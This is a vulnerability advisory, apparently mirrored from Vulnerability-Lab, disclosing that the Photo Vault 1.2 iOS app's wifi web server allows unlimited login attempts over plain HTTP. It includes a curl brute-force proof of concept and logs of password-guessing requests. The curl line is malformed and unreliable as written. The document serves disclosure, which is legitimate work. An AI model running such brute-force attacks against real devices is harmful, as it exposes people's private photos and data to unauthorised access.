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Photo Vault 1.2 Brute Forcing Issue

Photo Vault 1.2 Brute Forcing Issue
Posted Jan 19, 2018
Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

Photo Vault version 1.2 fails to rate limit authentication attempts allowing for brute force attacks.

tags | exploit
MD5 | 8f0929c5a09fa035ddab2b1019c9551a

Photo Vault 1.2 Brute Forcing Issue

Change Mirror Download
Document Title:
===============
Photo Vault v1.2 iOS - Insecure Authentication Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2110


Release Date:
=============
2018-01-16


Vulnerability Laboratory ID (VL-ID):
====================================
2110


Common Vulnerability Scoring System:
====================================
4.8


Vulnerability Class:
====================
Insecure Storage of Sensitive Information


Current Estimated Price:
========================
1.000a! - 2.000a!


Product & Service Introduction:
===============================
https://itunes.apple.com/us/app/id1053383947


Abstract Advisory Information:
==============================
The vulnerability labortory core research team discovered a insecure authentication issue in the official


Vulnerability Disclosure Timeline:
==================================
2018-01-16: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
PhotoRange
Product: Photo Vault - Mobile (Web-Application) 1.2


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
An insecure configuration vulnerability has been discovered in the official iOS mobile Photo Vault v1.2 iOS web-application.

The vulnerability is located in the login mechanism and password request communication. In case of the activated wifi
in the app it is possible to remotly access (http-server) the protected vault by a password. The password request is a
simple less protected attempt to the login.html file with `_` to split between the password and file. There is no
request limitation to block automated attacks.

Attackers can perform fast enumerate the password by simply audits against the http basic authentication mechanism.
Remote attackers can use an automated dictionary attack or compromise by manual basic http bruteforce attack via curl,
nmap or http-brute. Attackers can fast gain unauthorized access the private vault over the activated wifi web-application
in the same network. A second minor problem is that there is no https protocol activated for the wifi http-server
communication in the network. Taken together, these two problems pose a significant risk to users and individuals,
based on sensitive information stored in the vault of the mobile iOS application.

The security risk of the insecure authentication configuration vulnerability is estimated as medium with a cvss count of 4.8.
Exploitation of the vulnerability requires network access to connect to the web-server via wifi without user interaction.
Successful exploitation of the vulnerability results in unauthorized access to private vault data or sensitive information.


Proof of Concept (PoC):
=======================
The security issue can be exploited by remote attackers without privileged user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below.


PoC:
http_code=$(curl -L -data password="passwdords.txt" "$url http://Localhost:9900/login.html__" -w '%{http_code}' -o /root/fuzztime -s) #forensic


--- PoC Session Logs [GET] ---
GET http://localhost:9900/login.html
Host: Localhost:9900
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://Localhost:9900/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Date: Sat, 06 Jan 2018 15:06:20 GMT
Accept-Ranges: bytes
Transfer-Encoding: chunked
Note: Requests first the login page
-
GET http://localhost:9900/login.html__passwd1
Host: Localhost:9900
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:9900/login.html
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Date: Sat, 06 Jan 2018 15:06:26 GMT
Accept-Ranges: bytes
Transfer-Encoding: chunked

Note: Access to vault of ios mobile application was cracked in a forensic access test within 15 minutes.


Reference(s):
http://localhost:9900/
http://localhost:9900/login.html
http://localhost:9900/login.html__


Security Risk:
==============
The security risk of the vulnerability in the mobile vault application is eastimated as medium (CVSS 4.8).


Credits & Authors:
==================
Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
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or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
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